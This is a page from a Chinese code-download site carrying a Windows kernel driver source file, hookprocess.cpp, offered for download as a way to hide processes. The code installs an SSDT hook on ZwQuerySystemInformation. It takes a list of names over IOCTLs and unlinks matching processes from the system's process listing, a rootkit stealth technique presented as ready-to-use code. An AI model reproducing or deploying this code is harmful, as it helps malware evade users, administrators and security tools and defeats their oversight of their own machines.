⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hookprocess.cpp

📁 在驱动下实现进程隐藏,在驱动下实现进程隐藏.
💻 CPP
字号:
#include "HookProcess.h"
#include "CommonFunc.h"
/////////////////////////////////////////////////////////////////////////////////////////
extern "C"
{
	typedef NTSTATUS (*NtQuerySystemInfo)(
		IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
		IN OUT PVOID SystemInformation,
		IN ULONG SystemInformationLength,
		OUT PULONG ReturnLength OPTIONAL
		);
	NtQuerySystemInfo TrueNtQuerySystemInfo;

	NTSTATUS NewNtQuerySystemInfo(
		IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
		IN OUT PVOID SystemInformation,
		IN ULONG SystemInformationLength,
		OUT PULONG ReturnLength OPTIONAL
		);

	NTSTATUS CompleteIrp( PIRP Irp, NTSTATUS status, ULONG info);
}

// Synchronization object
static wrSync sProcessWRSync;
// Process names to hide
struct _ProcInfo
{
	UNICODE_STRING Name;
	UNICODE_STRING User;
	UNICODE_STRING Proc;
	void Clear()
	{
		RtlFreeUnicodeString(&Name);
		RtlFreeUnicodeString(&User);
		RtlFreeUnicodeString(&Proc);
	}
};

typedef std::vector<_ProcInfo> vProcInfo;
static vProcInfo sProcInfo;

/////////////////////////////////////////////////////////////////////////////////////////


NTSTATUS AddProcessName(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:

    Add process name to hide list

Arguments:

    WCHAR* pBuf - input/output buffer
    ULONG buf_size - input buffer size
    ULONG out_buf_size - max output buf size
    PULONG BytesTxd - size of information writed in output buffer


Return Value:

    NTSTATUS code.

--*/
{
	DbgPrint("-HideDriver- Add Process Name - Input string: %ws\n",pBuf);

	if(out_buf_size< 2 || buf_size==0)
		return STATUS_BUFFER_TOO_SMALL;

	UNICODE_STRING Name;
	UNICODE_STRING User;
	UNICODE_STRING Proc;

	if(!PackadgeParser(pBuf,&Name,&User,&Proc))
	{
		*pBuf=HOOK_FAIL_PARAMETER; 
		*BytesTxd = 2;

		RtlFreeUnicodeString(&Name);
		RtlFreeUnicodeString(&User);
		RtlFreeUnicodeString(&Proc);
		return STATUS_SUCCESS;
	}

	sProcessWRSync.WaitToWrite();

	sProcInfo.push_back(_ProcInfo());
	
	size_t nIndex = sProcInfo.size() - 1;

	sProcInfo[nIndex].Name = Name;
	sProcInfo[nIndex].User = User;
	sProcInfo[nIndex].Proc = Proc;
	
	sProcessWRSync.Done();

	*pBuf=HOOK_SUCCESS;
	*BytesTxd = 2;

	return STATUS_SUCCESS;
}
NTSTATUS DelProcessName(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:

    Delete process name from hide list

Arguments:

    WCHAR* pBuf - input/output buffer
    ULONG buf_size - input buffer size
    ULONG out_buf_size - max output buf size
    PULONG BytesTxd - size of information writed in output buffer

Return Value:

    NTSTATUS code.

--*/
{
	DbgPrint("-HideDriver- Del Process Name - Input string: %ws\n",pBuf);
	if(out_buf_size< 2 || buf_size==0)
		return STATUS_BUFFER_TOO_SMALL;

	UNICODE_STRING myUStr;
	RtlInitUnicodeString(&myUStr,pBuf);

	sProcessWRSync.WaitToWrite();

	vProcInfo::iterator it = sProcInfo.begin();
	while(sProcInfo.end() != it)
	{
		if(RtlEqualUnicodeString(&myUStr,&(*it).Name,FALSE))
		{			
			// Clenup buffers
			(*it).Clear();
			// Delete from array
			sProcInfo.erase(it);
			
			sProcessWRSync.Done();

			*pBuf=HOOK_SUCCESS;
			*BytesTxd = 2;
			
			return STATUS_SUCCESS;
		}
		++it;
	}

	sProcessWRSync.Done();

	*pBuf= HOOK_FAIL_PARAMETER; 
	*BytesTxd = 2;
	return STATUS_SUCCESS;
}
NTSTATUS ClearProcessNames(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:

    Delete process name from hide list.

Arguments:

    WCHAR* pBuf - input/output buffer
    ULONG buf_size - input buffer size
    ULONG out_buf_size - max output buf size
    PULONG BytesTxd - size of information writed in output buffer

Return Value:

    NTSTATUS code.

--*/
{
	DbgPrint("-HideDriver- Clear Process Names\n");
	if(out_buf_size< 2)
		return STATUS_BUFFER_TOO_SMALL;

	sProcessWRSync.WaitToWrite();
	
	vProcInfo::iterator it = sProcInfo.begin();
	while(sProcInfo.end() != it)
	{
		// Cleanup buffers;
		(*it).Clear();
		++it;
	}

	sProcInfo.clear();

	sProcessWRSync.Done();

	*pBuf=HOOK_SUCCESS;
	*BytesTxd = 2;
	
	return STATUS_SUCCESS;
}
NTSTATUS QueryProcessNames(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:

    Query all process names from hide list. List consist of:
     - Process name to hide
     - User name, not used now, but reserved for future implementation
     - Process name to hide from

Arguments:

    WCHAR* pBuf - input/output buffer
    ULONG buf_size - input buffer size
    ULONG out_buf_size - max output buf size
    PULONG BytesTxd - size of information writed in output buffer

Return Value:

    NTSTATUS code.

--*/
{
	DbgPrint("-HideDriver- Query Process Names\n");
	if(out_buf_size< 2 || buf_size==0)
		return STATUS_BUFFER_TOO_SMALL;

	sProcessWRSync.WaitToRead();
	ULONG nIndex=0;
	
	vProcInfo::iterator it = sProcInfo.begin();
	while(sProcInfo.end() != it)
	{
		size_t Name_size = (*it).Name.Length;
		size_t User_size = (*it).User.Length;
		size_t Proc_size = (*it).Proc.Length;
		size_t Total_size = Name_size+User_size+Proc_size;

		if((Total_size + nIndex) > out_buf_size)
		{
			sProcessWRSync.Done();
			*pBuf = HOOK_FAIL_PARAMETER;
			*BytesTxd = 2;
			return STATUS_BUFFER_TOO_SMALL;
		}			
		
		// Process Name
		memcpy((char*)pBuf + nIndex,(*it).Name.Buffer,Name_size);
		nIndex+=Name_size;
		
		memcpy((char*)pBuf + nIndex,L";",2);
		nIndex+=2;
		// Access User Name
		memcpy((char*)pBuf + nIndex,(*it).User.Buffer,User_size);
		nIndex+=User_size;

		memcpy((char*)pBuf + nIndex,L";",2);
		nIndex+=2;
		// Access Process Name
		memcpy((char*)pBuf + nIndex,(*it).Proc.Buffer,Proc_size);
		nIndex+=Proc_size;

		memcpy((char*)pBuf + nIndex,L";",2);
		nIndex+=2;

		// Packet end
		memcpy((char*)pBuf + nIndex,L"\n",2);
		nIndex+=2;

		++it;
	}
	sProcessWRSync.Done();

	memcpy((char*)pBuf + nIndex,L"\0",2);
	nIndex+=2;

	*BytesTxd = nIndex;

	return STATUS_SUCCESS;
}
NTSTATUS HookProcessIrpRoutine(PIRP pIrp)
/*++

Routine Description:

    Dispatch IOCTL's from user:
    IOCTL_ADD_PROCESS_NAME - Add process name to hide list
    IOCTL_DEL_PROCESS_NAME - Delete process name from hide list
    IOCTL_CLEAR_PROCESS_NAME - Erase all process names from hide list
    IOCTL_QUERY_PROCESS_NAME - Query all process names from hide list

Arguments:

    RIRP - irp packet with information about call

Return Value:

    NTSTATUS code.
    
--*/
{
	NTSTATUS status = STATUS_SUCCESS;
	ULONG BytesTxd =0; // Number of transmitted,received bytes
	PIO_STACK_LOCATION IrpStack=IoGetCurrentIrpStackLocation(pIrp);

	// Getting the IOCTL code
	ULONG ControlCode =
		IrpStack->Parameters.DeviceIoControl.IoControlCode;
	// Getting the exchange method
	ULONG method = ControlCode & 0x03;

	if(method!=METHOD_BUFFERED)
		return CompleteIrp(pIrp,STATUS_INVALID_PARAMETER,BytesTxd); 

	// input buffer size
	ULONG InputLength = 
		IrpStack->Parameters.DeviceIoControl.InputBufferLength;
	// output buffer size
	ULONG OutputLength =
		IrpStack->Parameters.DeviceIoControl.OutputBufferLength;
	// if there is no buffer generate the error
	if( OutputLength < 1 || InputLength < 1)
		return CompleteIrp(pIrp,STATUS_INVALID_PARAMETER,BytesTxd);

	WCHAR *buff;
	buff = (PWCHAR)pIrp->AssociatedIrp.SystemBuffer;

	switch( ControlCode) 
	{
	case IOCTL_ADD_PROCESS_NAME:
		status = AddProcessName(buff,InputLength,OutputLength,&BytesTxd); break;
	case IOCTL_DEL_PROCESS_NAME:
		status = DelProcessName(buff,InputLength,OutputLength,&BytesTxd); break;
	case IOCTL_CLEAR_PROCESS_NAME:
		status = ClearProcessNames(buff,InputLength,OutputLength,&BytesTxd); break;
	case IOCTL_QUERY_PROCESS_NAME:
		status = QueryProcessNames(buff,InputLength,OutputLength,&BytesTxd); break;
	default:	
		status = STATUS_INVALID_DEVICE_REQUEST;
	}
	return CompleteIrp(pIrp,status,BytesTxd); 
}
void HookProcessInit(HookMng& refHookMng,QueryMng& refQueryMng)
/*++

Routine Description:

    Perform initializing of objects needed for process hiding.
    Insert hook in SSDT and register dispatcher for IOCTL's

Arguments:
    
    HookMng - needed to add hook of specific function on SSDT
    QueryMng - need to add response of IOCTL needed to receive information from user

Return Value:

    nothing

--*/
{
	UNICODE_STRING funcUnicodeStr_process;

	RtlInitUnicodeString(&funcUnicodeStr_process,L"ZwQuerySystemInformation");

	//
	std::auto_ptr<Hook> pNewHook(
		CreateHook(	NewNtQuerySystemInfo,
		&funcUnicodeStr_process));

	TrueNtQuerySystemInfo = (NtQuerySystemInfo)pNewHook->mpTrueFuncPtr;


	if(!refHookMng.QueueHook(*pNewHook))
		DbgPrint("Hook installing error2\n");

	//
	refQueryMng.AddRoutine(IOCTL_ADD_PROCESS_NAME,&HookProcessIrpRoutine);
	refQueryMng.AddRoutine(IOCTL_DEL_PROCESS_NAME,&HookProcessIrpRoutine);
	refQueryMng.AddRoutine(IOCTL_CLEAR_PROCESS_NAME,&HookProcessIrpRoutine);
	refQueryMng.AddRoutine(IOCTL_QUERY_PROCESS_NAME,&HookProcessIrpRoutine);
}
void HookProcessExit()
/*++
Routine Description:

    Perform cleanup of objects needed for process hiding.

Arguments:

    none

Return Value:

    nothing

--*/
{
	sProcessWRSync.WaitToWrite();

	vProcInfo::iterator it = sProcInfo.begin();
	while(sProcInfo.end() != it)
	{
		// Cleanup buffers;
		(*it).Clear();
		++it;
	}

	sProcInfo.clear();

	sProcessWRSync.Done();	
}
bool CheckProcess(UNICODE_STRING* pProcessName)
/*++
Routine Description:

    Function check process name to make decision about hiding it

Arguments:

    Name of process to check

Return Value:

    true - if process need to hide

    false - if process do not need to hide

--*/
{
	sProcessWRSync.WaitToRead();

	vProcInfo::iterator it = sProcInfo.begin();
	for(;sProcInfo.end() != it;++it)
	{
		if(!ApplyMask(&(*it).Name,pProcessName))
			continue;
		if(!CheckProcessAccess(&(*it).Proc))
			continue;
		//if(!CheckUserAccess(&(*it).User))
		//	continue;

		sProcessWRSync.Done();
		return true;
	}

	sProcessWRSync.Done();
	return false;
}
NTSTATUS NewNtQuerySystemInfo(
							  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
							  IN OUT PVOID SystemInformation,
							  IN ULONG SystemInformationLength,
							  OUT PULONG ReturnLength OPTIONAL
							  )
/*++
Routine Description:

	Function call every time when NtQuerySystemInformation function call in the system.

	For hiding process we need to change SystemInformation structure.

Arguments:

	SystemInformationClass - One of the values enumerated in SYSTEM_INFORMATION_CLASS, 
		which indicate the kind of system information to be retrieved. 
	
	SystemInformation - A pointer to a buffer that receives the requested information.
	
	SystemInformationLength - The size of the buffer pointed to by the SystemInformation parameter, in bytes.

Return Value:

	NT status code.

--*/
{
	NTSTATUS status=TrueNtQuerySystemInfo(SystemInformationClass, SystemInformation,
		SystemInformationLength, ReturnLength);

	if(!NT_SUCCESS(status))return status;

	if( SystemInformationClass == SystemProcessesAndThreadsInformation )
	{	
		// convert buffer to  SYSTEM_PROCESSES_INFORMATION
		SYSTEM_PROCESSES_INFORMATION* pSystemInfo=static_cast<SYSTEM_PROCESSES_INFORMATION*>(SystemInformation);
		ULONG PreviousDelta=0;
		// The loop for enumerating process
		while( pSystemInfo->NextEntryDelta != 0 )
		{
			// go to the next process ( idle is always the first process )
			PreviousDelta = pSystemInfo->NextEntryDelta;
			pSystemInfo = (SYSTEM_PROCESSES_INFORMATION*)(((PUCHAR)pSystemInfo)+PreviousDelta);

			// check if the current process need to hide
			if( CheckProcess(&(pSystemInfo->ProcessName)) ) 
			{	
				// go to the previous process
				ULONG curentDelta=pSystemInfo->NextEntryDelta;
				pSystemInfo =
					(SYSTEM_PROCESSES_INFORMATION*)(((PUCHAR)pSystemInfo)-PreviousDelta);
				// if the process is last:
				if(curentDelta == 0 )
					PreviousDelta=0;

				pSystemInfo->NextEntryDelta = PreviousDelta + curentDelta;
			} // if(CheckProcessName(pSystemInfo->ProcessName))
		}//while(pSystemInfo->NextEntryDelta != 0)
	}//	if(SystemInformationClass == SystemProcessesAndThreadsInformation)
	return status;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -